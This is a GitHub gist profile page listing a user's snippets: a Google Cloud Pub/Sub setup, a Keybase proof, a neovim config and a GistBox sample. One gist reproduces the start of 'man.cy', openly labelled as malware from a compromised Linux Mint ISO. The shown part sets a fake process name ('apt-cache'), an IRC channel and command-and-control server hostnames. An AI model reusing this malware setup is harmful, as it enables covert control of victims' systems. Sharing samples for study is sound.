Skip to content

Instantly share code, notes, and snippets.

View amtux's full-sized avatar
🌥️
cloud is lit

Amandeep Singh amtux

🌥️
cloud is lit
View GitHub Profile
@amtux
amtux / 1-pubsub-setup.js
Last active April 5, 2019 03:18
Google Cloud Pubsub example
const {PubSub} = require('@google-cloud/pubsub');
const pubsub = new PubSub({
projectId: 'some-project',
//apiEndpoint: 'localhost:8085' // for local emulator
});
const topicName = 'sometopic';
const subscriptionName = 'somesub';

Keybase proof

I hereby claim:

  • I am amtux on github.
  • I am amtux (https://keybase.io/amtux) on keybase.
  • I have a public key ASCHg7B0L1HfSGdZfrwtQCF53hXDZLD23HTOI6M5mPKE-Qo

To claim this, I am signing this object:

@amtux
amtux / man.cy
Created February 21, 2016 13:47 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@amtux
amtux / init.vim
Last active February 16, 2016 00:25
neovim config file
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Mostly copied from awesome version of https://github.com/amix/vimrc
"
" Sections:
" -> General
" -> VIM user interface
" -> Colors and Fonts
" -> Files and backups
" -> Text, tab and indent related
" -> Visual mode related
@amtux
amtux / 0_reuse_code.js
Created February 12, 2016 15:31
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console